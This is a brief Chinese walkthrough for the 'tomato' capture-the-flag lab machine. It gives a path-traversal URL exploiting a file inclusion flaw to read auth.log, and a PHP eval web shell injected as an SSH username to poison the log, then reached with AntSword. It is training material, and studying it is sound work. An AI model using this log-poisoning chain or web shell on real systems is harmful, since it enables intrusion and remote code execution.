tomato靶场通关攻略
1.打开tomato靶机和kali虚拟机
2.运用kali扫描靶机ip
3.浏览器访问靶机ip
4.kali dirb扫描敏感文件
5.依次查看这几个文件，发现antibot_image下有文件info.php，发现一个被注释的get型文件包含漏洞，参数为image
6.查看日志文件
http://192.168.126.151/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log
7.将一句话木马作为ssh登录的用户名，然后登陆，密码随便输入，这样日志文件就会记录该用户登录失败的日志，而该用户的用户名就是我们的一句话木马。
http://192.168.126.151:2211/<?php @eval($_POST['cmd']);?>
运用蚁剑连接木马，连接成功即可